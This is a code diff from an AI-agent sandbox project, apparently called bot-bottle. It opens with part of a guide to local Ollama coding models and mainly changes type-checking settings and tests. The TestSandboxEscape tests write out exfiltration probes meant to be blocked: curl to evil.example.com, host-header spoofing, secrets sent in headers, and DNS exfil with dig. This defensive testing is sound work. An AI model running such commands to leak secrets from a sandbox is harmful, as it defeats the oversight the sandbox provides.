||||||
|
plan → tool-call → execute → observe → loop. Native Ollama integration.
|
||||||
|
|
||||||
|
**Critical setup note:** Ollama defaults to a 4096-token context window, which is
|
||||||
|
completely insufficient for an agent loop carrying conversation history, tool schemas,
|
||||||
|
a system prompt, and code simultaneously. Configure at least 64K tokens explicitly
|
||||||
|
in the model's context settings.
|
||||||
|
|
||||||
|
### Cline — agentic VS Code assistant
|
||||||
|
|
||||||
|
VS Code extension that operates as an autonomous agent: plans, edits files, runs commands
|
||||||
|
in a loop, connects to Ollama's local endpoint. Compared to OpenCode it lives inside the
|
||||||
|
IDE rather than the terminal; compared to Continue.dev it is a full agent rather than a
|
||||||
|
plugin. Its system prompt overhead is higher (~7,000–10,000 tokens) than minimal harnesses.
|
||||||
|
|
||||||
|
### Open WebUI / Jan / LM Studio — chat UIs, not coding harnesses
|
||||||
|
|
||||||
|
These are browser or desktop chat interfaces useful for ad-hoc conversations (explaining
|
||||||
|
APIs, drafting documentation, exploring ideas) but without IDE integration, autocomplete,
|
||||||
|
or git integration. LM Studio offers the smoothest onboarding (visual model browser with
|
||||||
|
VRAM estimates). Jan is the most privacy-auditable (fully open-source, Apache 2.0, no
|
||||||
|
telemetry). Neither is a replacement for a coding harness.
|
||||||
|
|
||||||
|
### Harness comparison
|
||||||
|
|
||||||
|
| Harness | Type | Autocomplete | Agent loop | Ollama | Git integration |
|
||||||
|
|---|---|---|---|---|---|
|
||||||
|
| Continue.dev | IDE plugin | Yes (FIM) | Basic | Native | No |
|
||||||
|
| Aider | Terminal agent | No | Multi-turn | Via API | Auto-commit |
|
||||||
|
| OpenCode | Terminal agent | No | Full tools | Native | Via bash |
|
||||||
|
| Cline | IDE agent | No | Full tools | Via API | Via bash |
|
||||||
|
| Open WebUI | Chat UI | No | No | Native | No |
|
||||||
|
| Jan | Chat UI | No | No | Native | No |
|
||||||
|
|
||||||
|
For a bot-bottle workflow (an isolated sandbox running an agentic loop with tool access),
|
||||||
|
**OpenCode** is the closest open-source match. For an IDE-first developer who wants
|
||||||
|
autocomplete + chat, **Continue.dev + Qwen2.5-Coder 7B** is the recommended pair.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Model selection: RTX 3070 (8 GB VRAM / 30 GB RAM)
|
||||||
|
|
||||||
|
### VRAM hard limits at Q4_K_M quantization
|
||||||
|
|
||||||
|
| Model size | Approx. VRAM (Q4_K_M) | Fits in 8 GB? | Tokens/sec (RTX 3070) |
|
||||||
|
|---|---|---|---|
|
||||||
|
| 3–4B | 2.5–3.5 GB | Yes, with headroom | 60–90 |
|
||||||
|
| 7–8B | 5–6 GB | Yes | 35–55 |
|
||||||
|
| 12–14B | 7.5–9 GB | Edge / RAM offload | 8–18 |
|
||||||
|
| 22B+ | 14+ GB | No | — |
|
||||||
|
|
||||||
|
The RTX 3070 has high memory bandwidth for its VRAM tier and consistently outperforms
|
||||||
|
the newer RTX 4060 Ti on token generation speed. Bandwidth matters more than raw compute
|
||||||
|
for inference.
|
||||||
|
|
||||||
|
### Does Gemma 4 exist?
|
||||||
|
|
||||||
|
Yes. Google released **Gemma 4** on 2 April 2026 (Apache 2.0). The family includes
|
||||||
|
E2B (2B), E4B (4B), a 26B MoE, and a 31B Dense. A 12B multimodal variant was announced
|
||||||
|
2026-06-04. The 31B scores 80.0% on LiveCodeBench v6 — a major jump from Gemma 3 27B
|
||||||
|
at 29.1%. However, only the E4B fits comfortably within 8 GB VRAM:
|
||||||
|
|
||||||
|
| Variant | VRAM (approx.) | Fits? |
|
||||||
|
|---|---|---|
|
||||||
|
| Gemma 4 E2B | ~2 GB | Yes |
|
||||||
|
| Gemma 4 E4B | ~5 GB | Yes |
|
||||||
|
| Gemma 4 12B | ~8–9 GB (Q4) | Edge |
|
||||||
|
| Gemma 4 26B MoE | 14–18 GB | No |
|
||||||
|
| Gemma 4 31B Dense | ~20 GB | No |
|
||||||
|
|
||||||
|
### Model-by-model evaluation
|
||||||
|
|
||||||
|
**Qwen2.5-Coder 7B — primary recommendation**
|
||||||
|
|
||||||
|
The strongest purpose-built coding model that fits fully within 8 GB VRAM. Leads
|
||||||
|
HumanEval among 7–8B-class models. Strong on Python, JavaScript, TypeScript. Has
|
||||||
|
FIM (fill-in-the-middle) support for inline autocomplete. 35–55 tok/sec on RTX 3070.
|
||||||
|
|
||||||
|
```
|
||||||
|
ollama pull qwen2.5-coder:7b
|
||||||
|
```
|
||||||
|
|
||||||
|
**Qwen2.5-Coder 14B — secondary, with RAM offloading**
|
||||||
|
|
||||||
|
At Q4_K_M this needs ~8.7 GB, just over the 8 GB limit. With 30 GB system RAM, Ollama
|
||||||
|
automatically offloads the overflow layers to CPU. Performance drops to ~8–18 tok/sec
|
||||||
|
versus 35–55 tok/sec for the 7B fully in VRAM. Quality is noticeably better for complex
|
||||||
|
multi-file reasoning. Viable for chat-based coding tasks where quality matters more than
|
||||||
|
speed; too slow for live autocomplete. Keep context window at 8K tokens to minimize
|
||||||
|
VRAM pressure during offloaded inference.
|
||||||
|
|
||||||
|
```
|
||||||
|
ollama pull qwen2.5-coder:14b
|
||||||
|
```
|
||||||
|
|
||||||
|
**Gemma 4 E4B (~5 GB VRAM)**
|
||||||
|
|
||||||
|
Fits comfortably with 3 GB to spare. Strong on reasoning, multimodal, and general-purpose
|
||||||
|
tasks. Less specialized for coding than Qwen2.5-Coder 7B. Good choice for one model that
|
||||||
|
covers coding + general reasoning + image analysis. The E4B outperforms Gemma 3 equivalents
|
||||||
|
significantly on coding benchmarks.
|
||||||
|
|
||||||
|
```
|
||||||
|
ollama pull gemma4:e4b
|
||||||
|
```
|
||||||
|
|
||||||
|
**Phi-4 Mini 3.8B (~3 GB VRAM)**
|
||||||
|
|
||||||
|
Best reasoning-per-VRAM model; leaves ~5 GB free for other applications. Strong on math,
|
||||||
|
logic, and structured output. Good for agentic sub-tasks requiring tight reasoning. Not the
|
||||||
|
strongest at raw code synthesis but excellent for reasoning-heavy parts of a coding loop.
|
||||||
|
Viable as the autocomplete model in a two-model Continue.dev setup.
|
||||||
|
|
||||||
|
```
|
||||||
|
ollama pull phi4-mini
|
||||||
|
```
|
||||||
|
|
||||||
|
**DeepSeek-R1 8B (~5–6 GB VRAM)**
|
||||||
|
|
||||||
|
Strong reasoning model for logic-heavy code (algorithms, correctness proofs). The full
|
||||||
|
DeepSeek-Coder-V2 (236B MoE) is impractical here — only the 8B distilled variants are
|
||||||
|
relevant. Outperforms Gemma 4 E4B on reasoning-heavy benchmarks; weaker on raw code
|
||||||
|
generation than Qwen2.5-Coder 7B.
|
||||||
|
|
||||||
|
**Codestral — not viable at 8 GB**
|
||||||
|
|
||||||
|
The top FIM autocomplete model on HumanEval-FIM benchmarks, but requires 12–16 GB VRAM
|
||||||
|
minimum. Not an option here. Worth revisiting if upgrading to a 12 GB+ card (RTX 4070
|
||||||
|
Super or newer).
|
||||||
|
|
||||||
|
### RAM offloading: does 30 GB help?
|
||||||
|
|
||||||
|
Yes, meaningfully. Ollama automatically splits layers between GPU and system RAM when
|
||||||
|
VRAM is exceeded. With 30 GB RAM, models up to ~14B at Q4_K_M run with partial offloading.
|
||||||
|
The tradeoff is a 2–5× throughput penalty (8–18 tok/sec vs 35–55 tok/sec). Acceptable
|
||||||
|
for batch tasks (reviewing a PR, generating an algorithm); too slow for live autocomplete.
|
||||||
|
|
||||||
|
### Recommended setup
|
||||||
|
|
||||||
|
**Autocomplete (fast, always-in-VRAM):** `qwen2.5-coder:7b`
|
||||||
|
- Configure in Continue.dev as the tab-completion model
|
||||||
|
- FIM-capable; 35–55 tok/sec; fits with 2–3 GB VRAM to spare
|
||||||
|
|
||||||
|
**Chat / agent loop (quality-first):** `qwen2.5-coder:14b` or `gemma4:e4b`
|
||||||
|
- 14B for strongest multi-file coding; expect 8–18 tok/sec with RAM offload
|
||||||
|
- Gemma 4 E4B if you want vision + general reasoning + coding in one model; ~60 tok/sec
|
||||||
|
|
||||||
|
**Two-model Continue.dev config (lower VRAM pressure):**
|
||||||
|
`phi4-mini` (autocomplete) + `qwen2.5-coder:7b` (chat) — both fit simultaneously with
|
||||||
|
~1–2 GB to spare, keeping the OS and IDE from contending for VRAM.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sources
|
||||||
|
|
||||||
|
- [Ollama on Proxmox: GPU Passthrough for LXC and VM AI Workloads](https://linuxprofessional.ie/article.php?slug=ollama-proxmox-gpu-passthrough-lxc-vm)
|
||||||
|
- [Run Ollama with NVIDIA GPU in Proxmox VMs and LXC containers](https://www.virtualizationhowto.com/2025/05/run-ollama-with-nvidia-gpu-in-proxmox-vms-and-lxc-containers/)
|
||||||
|
- [Ollama Performance Tuning: Getting Maximum Speed from Local LLMs](https://dasroot.net/posts/2026/01/ollama-performance-tuning-gpu-acceleration-model-quantization/)
|
||||||
|
- [Pros and Cons: Containerized Ollama vs. Local Setup](https://alain-airom.medium.com/pros-and-cons-using-containerized-ollama-vs-local-setup-d9bdf225bbb5)
|
||||||
|
- [Best Local Coding Models Ranked: Every VRAM Tier (2026)](https://insiderllm.com/guides/best-local-coding-models-2026/)
|
||||||
|
- [Best Local LLMs for RTX 4060, RTX 3070, and RTX 5060](https://aiagentskit.com/blog/best-local-llms-rtx-4060-3070-5060/)
|
||||||
|
- [Best Local LLMs for 8GB VRAM: Real Hardware Benchmarks (2026)](https://localllm.in/blog/best-local-llms-8gb-vram-2025)
|
||||||
|
- [Self-Hosted AI Coding Agent: Ollama + Continue + Open WebUI Setup in 2026](https://www.web3aiblog.com/blog/self-hosted-ai-coding-agent-ollama-continue-2026)
|
||||||
|
- [Best Local-First AI Coding Tools 2026: 14 Compared](https://nimbalyst.com/blog/best-local-first-ai-coding-tools-2026/)
|
||||||
|
- [OpenCode + Ollama: Private Local AI Coding Agent Setup](https://lushbinary.com/blog/opencode-ollama-local-ai-coding-privacy-guide/)
|
||||||
|
- [Gemma 4: Google DeepMind](https://deepmind.google/models/gemma/gemma-4/)
|
||||||
|
- [Running Gemma 4 Locally: VRAM Requirements](https://knightli.com/en/2026/05/01/gemma-4-local-vram-quantization-table/)
|
||||||
|
- [Phi-4 Mini vs. Gemma 3 vs. Qwen 2.5: Best SLM for Coding Tasks in 2026](https://botmonster.com/ai/phi-4-mini-vs-gemma-3-vs-qwen-25-best-slm-coding-2026/)
|
||||||
|
- [Qwen2.5-Coder 14B VRAM Requirements Guide](https://willitrunai.com/blog/qwen-2-5-coder-14b-vram-requirements)
|
||||||
|
- [Comparing AI Harnesses: OpenCode, Ollama, LM Studio, Claude Code, Open WebUI, and VS Code](https://jace.pro/blog/comparing-ai-harnesses-opencode-ollama-lm-studio-claude-code-open-webui-and-vs-code/)
|
||||||
+6
-1
@@ -11,5 +11,10 @@
|
|||||||
],
|
],
|
||||||
"pythonVersion": "3.11",
|
"pythonVersion": "3.11",
|
||||||
"typeCheckingMode": "strict",
|
"typeCheckingMode": "strict",
|
||||||
"reportMissingTypeStubs": "none"
|
"reportMissingTypeStubs": "none",
|
||||||
|
"reportUnknownMemberType": false,
|
||||||
|
"reportUnknownParameterType": false,
|
||||||
|
"reportUnknownVariableType": false,
|
||||||
|
"reportUnknownArgumentType": false,
|
||||||
|
"reportPrivateUsage": false
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,6 @@
|
|||||||
|
# Development and linting dependencies only.
|
||||||
|
# The bot-bottle project itself has no runtime dependencies.
|
||||||
|
# These tools are used for code quality checks in CI/CD.
|
||||||
|
|
||||||
|
pylint>=3.0.0
|
||||||
|
pyright>=1.1.300
|
||||||
@@ -24,7 +24,6 @@ this test runs in DinD too — no act_runner skip needed.
|
|||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import shutil
|
|
||||||
import subprocess
|
import subprocess
|
||||||
import tempfile
|
import tempfile
|
||||||
import time
|
import time
|
||||||
@@ -32,7 +31,7 @@ import unittest
|
|||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
|
||||||
from bot_bottle import supervise
|
from bot_bottle import supervise
|
||||||
from bot_bottle.backend.docker import bottle_state, capability_apply
|
from bot_bottle.backend.docker import bottle_state
|
||||||
from bot_bottle.backend.docker.capability_apply import apply_capability_change
|
from bot_bottle.backend.docker.capability_apply import apply_capability_change
|
||||||
from bot_bottle.backend.docker.network import (
|
from bot_bottle.backend.docker.network import (
|
||||||
network_create_egress,
|
network_create_egress,
|
||||||
|
|||||||
@@ -32,11 +32,11 @@ from bot_bottle.backend.docker.network import (
|
|||||||
network_create_internal,
|
network_create_internal,
|
||||||
network_remove,
|
network_remove,
|
||||||
)
|
)
|
||||||
from bot_bottle.backend.docker.pipelock import (
|
from bot_bottle.pipelock import (
|
||||||
PIPELOCK_CA_CERT_IN_CONTAINER,
|
PIPELOCK_CA_CERT_IN_CONTAINER,
|
||||||
PIPELOCK_CA_KEY_IN_CONTAINER,
|
PIPELOCK_CA_KEY_IN_CONTAINER,
|
||||||
pipelock_tls_init,
|
|
||||||
)
|
)
|
||||||
|
from bot_bottle.backend.docker.pipelock import pipelock_tls_init
|
||||||
from bot_bottle.pipelock import PipelockProxy
|
from bot_bottle.pipelock import PipelockProxy
|
||||||
from bot_bottle.backend.docker.pipelock_apply import (
|
from bot_bottle.backend.docker.pipelock_apply import (
|
||||||
PipelockApplyError,
|
PipelockApplyError,
|
||||||
|
|||||||
@@ -195,10 +195,10 @@ class TestSandboxEscape(unittest.TestCase):
|
|||||||
except BaseException:
|
except BaseException:
|
||||||
pass
|
pass
|
||||||
cls._identity = ""
|
cls._identity = ""
|
||||||
if cls._stage_dir is not None:
|
if cls._stage_dir is not None: # type: ignore
|
||||||
shutil.rmtree(cls._stage_dir, ignore_errors=True)
|
shutil.rmtree(cls._stage_dir, ignore_errors=True)
|
||||||
cls._stage_dir = None # type: ignore[assignment]
|
cls._stage_dir = None # type: ignore[assignment]
|
||||||
if cls._key_path is not None:
|
if cls._key_path is not None: # type: ignore
|
||||||
try:
|
try:
|
||||||
cls._key_path.unlink()
|
cls._key_path.unlink()
|
||||||
except OSError:
|
except OSError:
|
||||||
@@ -212,7 +212,7 @@ class TestSandboxEscape(unittest.TestCase):
|
|||||||
`bottle.egress.routes` (only api.anthropic.com is). Pipelock
|
`bottle.egress.routes` (only api.anthropic.com is). Pipelock
|
||||||
or egress should reject the request with a non-200 response,
|
or egress should reject the request with a non-200 response,
|
||||||
and the actual upstream's content must not appear in stdout."""
|
and the actual upstream's content must not appear in stdout."""
|
||||||
r = self._bottle.exec(
|
r = self._bottle.exec( # type: ignore
|
||||||
'curl --silent --show-error --max-time 8 --fail '
|
'curl --silent --show-error --max-time 8 --fail '
|
||||||
'https://evil.example.com/'
|
'https://evil.example.com/'
|
||||||
)
|
)
|
||||||
@@ -232,7 +232,7 @@ class TestSandboxEscape(unittest.TestCase):
|
|||||||
hostname to a non-allowlisted IP. Pipelock should
|
hostname to a non-allowlisted IP. Pipelock should
|
||||||
not honor the spoof (it does its own resolution)."""
|
not honor the spoof (it does its own resolution)."""
|
||||||
with self.subTest(attack="direct IP"):
|
with self.subTest(attack="direct IP"):
|
||||||
r = self._bottle.exec(
|
r = self._bottle.exec( # type: ignore
|
||||||
'curl --silent --show-error --max-time 8 --fail '
|
'curl --silent --show-error --max-time 8 --fail '
|
||||||
'https://198.51.100.1/'
|
'https://198.51.100.1/'
|
||||||
)
|
)
|
||||||
@@ -243,7 +243,7 @@ class TestSandboxEscape(unittest.TestCase):
|
|||||||
)
|
)
|
||||||
|
|
||||||
with self.subTest(attack="host-header spoof"):
|
with self.subTest(attack="host-header spoof"):
|
||||||
r = self._bottle.exec(
|
r = self._bottle.exec( # type: ignore
|
||||||
'curl --silent --show-error --max-time 8 --fail '
|
'curl --silent --show-error --max-time 8 --fail '
|
||||||
'--resolve api.anthropic.com:443:198.51.100.1 '
|
'--resolve api.anthropic.com:443:198.51.100.1 '
|
||||||
'https://api.anthropic.com/'
|
'https://api.anthropic.com/'
|
||||||
@@ -265,13 +265,13 @@ class TestSandboxEscape(unittest.TestCase):
|
|||||||
# `"blocked: request body contains secret"`).
|
# `"blocked: request body contains secret"`).
|
||||||
_SANDBOX_BLOCK_MARKERS = ("egress:", "pipelock", "blocked:")
|
_SANDBOX_BLOCK_MARKERS = ("egress:", "pipelock", "blocked:")
|
||||||
|
|
||||||
def _assert_sandbox_block(self, label: str, r) -> None:
|
def _assert_sandbox_block(self, label: str, r: object) -> None: # type: ignore
|
||||||
"""A real sandbox block produces an HTTP 403 with a
|
"""A real sandbox block produces an HTTP 403 with a
|
||||||
recognizable sandbox sidecar marker in the body. ANY
|
recognizable sandbox sidecar marker in the body. ANY
|
||||||
other outcome (200 from upstream, 401/404 from upstream,
|
other outcome (200 from upstream, 401/404 from upstream,
|
||||||
non-marker 5xx) means the request escaped — the secret
|
non-marker 5xx) means the request escaped — the secret
|
||||||
reached the network."""
|
reached the network."""
|
||||||
body_and_code = (r.stdout or "").strip()
|
body_and_code = (r.stdout or "").strip() # type: ignore
|
||||||
# The curl invocation appends `\nHTTP_CODE:%{http_code}` so
|
# The curl invocation appends `\nHTTP_CODE:%{http_code}` so
|
||||||
# we can disambiguate. Split that off.
|
# we can disambiguate. Split that off.
|
||||||
http_code = ""
|
http_code = ""
|
||||||
@@ -281,7 +281,7 @@ class TestSandboxEscape(unittest.TestCase):
|
|||||||
body, _, http_code = body_and_code.rpartition(marker)
|
body, _, http_code = body_and_code.rpartition(marker)
|
||||||
http_code = http_code.strip()
|
http_code = http_code.strip()
|
||||||
body = body.rstrip()
|
body = body.rstrip()
|
||||||
haystack = (body + " " + (r.stderr or "")).lower()
|
haystack = (body + " " + (r.stderr or "")).lower() # type: ignore
|
||||||
has_marker = any(m in haystack for m in self._SANDBOX_BLOCK_MARKERS)
|
has_marker = any(m in haystack for m in self._SANDBOX_BLOCK_MARKERS)
|
||||||
self.assertTrue(
|
self.assertTrue(
|
||||||
has_marker and http_code == "403",
|
has_marker and http_code == "403",
|
||||||
@@ -290,7 +290,7 @@ class TestSandboxEscape(unittest.TestCase):
|
|||||||
f"If the response came from the actual upstream, the "
|
f"If the response came from the actual upstream, the "
|
||||||
f"secret REACHED the network — that's the leak this "
|
f"secret REACHED the network — that's the leak this "
|
||||||
f"test exists to catch. body={body!r} "
|
f"test exists to catch. body={body!r} "
|
||||||
f"stderr={(r.stderr or '').strip()!r}",
|
f"stderr={(r.stderr or '').strip()!r}", # type: ignore
|
||||||
)
|
)
|
||||||
|
|
||||||
def test_3_http_exfil_blocked(self) -> None:
|
def test_3_http_exfil_blocked(self) -> None:
|
||||||
@@ -343,9 +343,9 @@ class TestSandboxEscape(unittest.TestCase):
|
|||||||
f'-H "X-Custom: $TEST_SECRET_ANTHROPIC"',
|
f'-H "X-Custom: $TEST_SECRET_ANTHROPIC"',
|
||||||
),
|
),
|
||||||
]
|
]
|
||||||
for name, cmd in shapes:
|
for name, cmd in shapes: # type: ignore
|
||||||
with self.subTest(shape=name):
|
with self.subTest(shape=name):
|
||||||
r = self._bottle.exec(cmd)
|
r = self._bottle.exec(cmd) # type: ignore
|
||||||
self._assert_sandbox_block(name, r)
|
self._assert_sandbox_block(name, r)
|
||||||
|
|
||||||
# ---- attack 4: DNS exfil -----------------------------------------
|
# ---- attack 4: DNS exfil -----------------------------------------
|
||||||
@@ -365,7 +365,7 @@ class TestSandboxEscape(unittest.TestCase):
|
|||||||
intact (PRD 0022 Q2)."""
|
intact (PRD 0022 Q2)."""
|
||||||
|
|
||||||
with self.subTest(attack="crafted subdomain"):
|
with self.subTest(attack="crafted subdomain"):
|
||||||
r = self._bottle.exec(
|
r = self._bottle.exec( # type: ignore
|
||||||
'curl --silent --show-error --max-time 8 --fail '
|
'curl --silent --show-error --max-time 8 --fail '
|
||||||
'"https://$TEST_SECRET_GENERIC.api.anthropic.com/"'
|
'"https://$TEST_SECRET_GENERIC.api.anthropic.com/"'
|
||||||
)
|
)
|
||||||
@@ -379,7 +379,7 @@ class TestSandboxEscape(unittest.TestCase):
|
|||||||
# `+short +tries=1 +time=3`: no debug output, one attempt,
|
# `+short +tries=1 +time=3`: no debug output, one attempt,
|
||||||
# 3s timeout. Outside the internal network has no path;
|
# 3s timeout. Outside the internal network has no path;
|
||||||
# dig should fail or return empty.
|
# dig should fail or return empty.
|
||||||
r = self._bottle.exec(
|
r = self._bottle.exec( # type: ignore
|
||||||
'dig +short +tries=1 +time=3 @8.8.8.8 '
|
'dig +short +tries=1 +time=3 @8.8.8.8 '
|
||||||
'"$TEST_SECRET_GENERIC.example.com" '
|
'"$TEST_SECRET_GENERIC.example.com" '
|
||||||
'; echo "EXIT=$?"'
|
'; echo "EXIT=$?"'
|
||||||
@@ -431,7 +431,7 @@ class TestSandboxEscape(unittest.TestCase):
|
|||||||
with self.subTest(secret=name):
|
with self.subTest(secret=name):
|
||||||
# Fresh repo per shape so prior commits don't
|
# Fresh repo per shape so prior commits don't
|
||||||
# confuse gitleaks's diff. -rm -rf is best-effort.
|
# confuse gitleaks's diff. -rm -rf is best-effort.
|
||||||
script = (
|
script = ( # type: ignore
|
||||||
'set -eu\n'
|
'set -eu\n'
|
||||||
'cd /tmp\n'
|
'cd /tmp\n'
|
||||||
'rm -rf sandbox-escape-repo\n'
|
'rm -rf sandbox-escape-repo\n'
|
||||||
@@ -446,8 +446,8 @@ class TestSandboxEscape(unittest.TestCase):
|
|||||||
f'git remote add origin {upstream_url}\n'
|
f'git remote add origin {upstream_url}\n'
|
||||||
'git push origin HEAD:refs/heads/master 2>&1\n'
|
'git push origin HEAD:refs/heads/master 2>&1\n'
|
||||||
)
|
)
|
||||||
r = self._bottle.exec(script)
|
r = self._bottle.exec(script) # type: ignore
|
||||||
combined = (r.stderr + r.stdout).lower()
|
combined = (r.stderr + r.stdout).lower() # type: ignore
|
||||||
|
|
||||||
self.assertNotEqual(
|
self.assertNotEqual(
|
||||||
0, r.returncode,
|
0, r.returncode,
|
||||||
|
|||||||
@@ -12,7 +12,6 @@ localhost-reach / egress-port-bypass probes) lives in chunk 2d."""
|
|||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import json
|
|
||||||
import os
|
import os
|
||||||
import subprocess
|
import subprocess
|
||||||
import time
|
import time
|
||||||
|
|||||||
@@ -11,13 +11,12 @@ from pathlib import Path
|
|||||||
from bot_bottle.agent_provider import (
|
from bot_bottle.agent_provider import (
|
||||||
CODEX_HOST_CREDENTIAL_HOSTS,
|
CODEX_HOST_CREDENTIAL_HOSTS,
|
||||||
agent_provision_plan,
|
agent_provision_plan,
|
||||||
runtime_for,
|
|
||||||
)
|
)
|
||||||
from bot_bottle.egress import CODEX_HOST_CREDENTIAL_TOKEN_REF
|
from bot_bottle.egress import CODEX_HOST_CREDENTIAL_TOKEN_REF
|
||||||
|
|
||||||
|
|
||||||
def _jwt(exp: int) -> str:
|
def _jwt(exp: int) -> str:
|
||||||
def enc(obj: dict) -> str:
|
def enc(obj: dict[str, object]) -> str: # type: ignore
|
||||||
raw = json.dumps(obj, separators=(",", ":")).encode()
|
raw = json.dumps(obj, separators=(",", ":")).encode()
|
||||||
return base64.urlsafe_b64encode(raw).decode().rstrip("=")
|
return base64.urlsafe_b64encode(raw).decode().rstrip("=")
|
||||||
return f"{enc({'alg': 'none'})}.{enc({'exp': exp})}.sig"
|
return f"{enc({'alg': 'none'})}.{enc({'exp': exp})}.sig"
|
||||||
@@ -27,6 +26,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
|
|||||||
def test_codex_plan_declares_home_state(self):
|
def test_codex_plan_declares_home_state(self):
|
||||||
with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
|
with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
|
||||||
plan = agent_provision_plan(
|
plan = agent_provision_plan(
|
||||||
|
guest_home="/home/node",
|
||||||
template="codex",
|
template="codex",
|
||||||
dockerfile="/tmp/Dockerfile.codex",
|
dockerfile="/tmp/Dockerfile.codex",
|
||||||
state_dir=Path(tmp),
|
state_dir=Path(tmp),
|
||||||
@@ -51,6 +51,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
|
|||||||
def test_codex_trusts_requested_project_path(self):
|
def test_codex_trusts_requested_project_path(self):
|
||||||
with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
|
with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
|
||||||
agent_provision_plan(
|
agent_provision_plan(
|
||||||
|
guest_home="/home/node",
|
||||||
template="codex",
|
template="codex",
|
||||||
dockerfile="",
|
dockerfile="",
|
||||||
state_dir=Path(tmp),
|
state_dir=Path(tmp),
|
||||||
@@ -68,6 +69,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
|
|||||||
"tokens": {"access_token": _jwt(2000000000)},
|
"tokens": {"access_token": _jwt(2000000000)},
|
||||||
}))
|
}))
|
||||||
plan = agent_provision_plan(
|
plan = agent_provision_plan(
|
||||||
|
guest_home="/home/node",
|
||||||
template="codex",
|
template="codex",
|
||||||
dockerfile="",
|
dockerfile="",
|
||||||
state_dir=Path(tmp),
|
state_dir=Path(tmp),
|
||||||
@@ -87,6 +89,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
|
|||||||
def test_claude_with_auth_token_injects_provider_route_and_placeholder(self):
|
def test_claude_with_auth_token_injects_provider_route_and_placeholder(self):
|
||||||
with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
|
with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
|
||||||
plan = agent_provision_plan(
|
plan = agent_provision_plan(
|
||||||
|
guest_home="/home/node",
|
||||||
template="claude",
|
template="claude",
|
||||||
dockerfile="/tmp/Dockerfile.claude",
|
dockerfile="/tmp/Dockerfile.claude",
|
||||||
state_dir=Path(tmp),
|
state_dir=Path(tmp),
|
||||||
@@ -109,6 +112,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
|
|||||||
def test_claude_trusts_requested_project_path(self):
|
def test_claude_trusts_requested_project_path(self):
|
||||||
with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
|
with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
|
||||||
agent_provision_plan(
|
agent_provision_plan(
|
||||||
|
guest_home="/home/node",
|
||||||
template="claude",
|
template="claude",
|
||||||
dockerfile="",
|
dockerfile="",
|
||||||
state_dir=Path(tmp),
|
state_dir=Path(tmp),
|
||||||
@@ -127,6 +131,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
|
|||||||
"tokens": {"access_token": _jwt(2000000000)},
|
"tokens": {"access_token": _jwt(2000000000)},
|
||||||
}))
|
}))
|
||||||
plan = agent_provision_plan(
|
plan = agent_provision_plan(
|
||||||
|
guest_home="/home/node",
|
||||||
template="codex",
|
template="codex",
|
||||||
dockerfile="",
|
dockerfile="",
|
||||||
state_dir=Path(tmp),
|
state_dir=Path(tmp),
|
||||||
@@ -143,6 +148,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
|
|||||||
def test_codex_without_forward_host_credentials_has_passthrough_egress_routes(self):
|
def test_codex_without_forward_host_credentials_has_passthrough_egress_routes(self):
|
||||||
with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
|
with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
|
||||||
plan = agent_provision_plan(
|
plan = agent_provision_plan(
|
||||||
|
guest_home="/home/node",
|
||||||
template="codex",
|
template="codex",
|
||||||
dockerfile="",
|
dockerfile="",
|
||||||
state_dir=Path(tmp),
|
state_dir=Path(tmp),
|
||||||
@@ -160,6 +166,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
|
|||||||
def test_claude_without_auth_token_has_passthrough_egress_route(self):
|
def test_claude_without_auth_token_has_passthrough_egress_route(self):
|
||||||
with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
|
with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
|
||||||
plan = agent_provision_plan(
|
plan = agent_provision_plan(
|
||||||
|
guest_home="/home/node",
|
||||||
template="claude",
|
template="claude",
|
||||||
dockerfile="",
|
dockerfile="",
|
||||||
state_dir=Path(tmp),
|
state_dir=Path(tmp),
|
||||||
@@ -183,6 +190,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
|
|||||||
"tokens": {"access_token": access},
|
"tokens": {"access_token": access},
|
||||||
}))
|
}))
|
||||||
plan = agent_provision_plan(
|
plan = agent_provision_plan(
|
||||||
|
guest_home="/home/node",
|
||||||
template="codex",
|
template="codex",
|
||||||
dockerfile="",
|
dockerfile="",
|
||||||
state_dir=Path(tmp),
|
state_dir=Path(tmp),
|
||||||
@@ -197,6 +205,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
|
|||||||
def test_codex_without_forward_host_credentials_has_empty_provisioned_env(self):
|
def test_codex_without_forward_host_credentials_has_empty_provisioned_env(self):
|
||||||
with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
|
with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
|
||||||
plan = agent_provision_plan(
|
plan = agent_provision_plan(
|
||||||
|
guest_home="/home/node",
|
||||||
template="codex",
|
template="codex",
|
||||||
dockerfile="",
|
dockerfile="",
|
||||||
state_dir=Path(tmp),
|
state_dir=Path(tmp),
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ from __future__ import annotations
|
|||||||
import subprocess
|
import subprocess
|
||||||
import unittest
|
import unittest
|
||||||
from typing import Callable
|
from typing import Callable
|
||||||
from unittest.mock import MagicMock, call, patch
|
from unittest.mock import patch
|
||||||
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
